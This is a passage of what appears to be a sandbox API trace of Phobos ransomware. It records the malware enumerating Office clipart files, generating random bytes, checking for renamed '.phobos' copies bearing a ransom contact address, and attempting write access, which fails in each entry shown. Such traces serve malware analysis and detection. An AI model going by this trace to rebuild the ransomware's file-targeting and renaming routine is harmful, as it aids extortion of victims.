office\\root\\clipart\\pub60cor\\so02261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.470] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02263_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.470] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2708) returned 1 [0154.470] CloseHandle (hObject=0x488) returned 1 [0154.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02263_.wmf")) returned 0x220 [0154.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02263_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02263_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02263_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.471] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.471] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=908) returned 1 [0154.471] CloseHandle (hObject=0x488) returned 1 [0154.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02265_.wmf")) returned 0x220 [0154.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02265_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02265_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.471] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02268_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.476] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1564) returned 1 [0154.477] CloseHandle (hObject=0x488) returned 1 [0154.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02268_.wmf")) returned 0x220 [0154.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02268_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02268_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02268_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.477] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.478] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2800) returned 1 [0154.478] CloseHandle (hObject=0x488) returned 1 [0154.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02269_.wmf")) returned 0x220 [0154.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02269_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02269_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.478] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.482] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2664) returned 1 [0154.482] CloseHandle (hObject=0x58c) returned 1 [0154.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02270_.wmf")) returned 0x220 [0154.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02270_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02270_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.482] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.483] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=12516) returned 1 [0154.483] CloseHandle (hObject=0x58c) returned 1 [0154.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02276_.wmf")) returned 0x220 [0154.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02276_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02276_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.484] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.484] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.484] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=96796) returned 1 [0154.484] CloseHandle (hObject=0x58c) returned 1 [0154.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02413_.wmf")) returned 0x220 [0154.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02413_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02413_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.485] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02431_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.485] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1648) returned 1 [0154.485] CloseHandle (hObject=0x58c) returned 1 [0154.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02431_.wmf")) returned 0x220 [0154.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02431_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02431_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02431_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.486] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.487] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1460) returned 1 [0154.487] CloseHandle (hObject=0x58c) returned 1 [0154.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02437_.wmf")) returned 0x220 [0154.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02437_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02437_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.487] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.488] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1284) returned 1 [0154.488] CloseHandle (hObject=0x58c) returned 1 [0154.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02439_.wmf")) returned 0x220 [0154.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02439_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02439_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.488] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02464_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.489] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6740) returned 1 [0154.489] CloseHandle (hObject=0x58c) returned 1 [0154.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02464_.wmf")) returned 0x220 [0154.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02464_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02464_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02464_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.490] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.490] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02465_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.490] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1396) returned 1 [0154.490] CloseHandle (hObject=0x58c) returned 1 [0154.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02465_.wmf")) returned 0x220 [0154.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02465_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02465_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02465_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.491] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02578_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.491] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6602) returned 1 [0154.492] CloseHandle (hObject=0x58c) returned 1 [0154.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02578_.wmf")) returned 0x220 [0154.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02578_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02578_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02578_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.492] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02617_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.493] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=24556) returned 1 [0154.493] CloseHandle (hObject=0x58c) returned 1 [0154.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02617_.wmf")) returned 0x220 [0154.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02617_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02617_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02617_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.493] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.494] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=32590) returned 1 [0154.494] CloseHandle (hObject=0x58c) returned 1 [0154.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02790_.wmf")) returned 0x220 [0154.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02790_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02790_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.494] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02791_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.495] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=17164) returned 1 [0154.495] CloseHandle (hObject=0x58c) returned 1 [0154.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02791_.wmf")) returned 0x220 [0154.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02791_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02791_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02791_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.495] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.504] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=23408) returned 1 [0154.505] 